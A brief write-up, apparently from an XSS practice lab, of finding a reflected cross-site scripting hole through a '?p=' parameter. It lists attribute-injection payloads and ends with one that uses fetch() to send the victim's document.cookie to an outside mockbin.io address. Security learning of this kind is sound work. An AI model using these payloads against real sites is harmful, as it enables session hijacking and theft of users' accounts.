XSS - Reflected

Initial Attempt

No way to inject any code on the first look, no forms, no inputs but then I realized the menu redirects using the ?p= parameter.

p=<img src=x onerror="alert(1);" />

Problem: Nothing happens

So I tried a lot of payloads but none of them seemed to work, it would just print as it is. However injecting the payload as attribute did work.

?p=exp' onmouseover='alert(1)

Had to encode the quotes as %22 for this to work else the quotes would just get paired up when rendered in html

?p=xss' 'onmouseover='fetch(%22https://b5e02d613ca44b7384e0290125a1448e.api.mockbin.io/?cook=%22.concat(document.cookie))

Solutions mentioned on the website offer very creative ways to harvest the cookie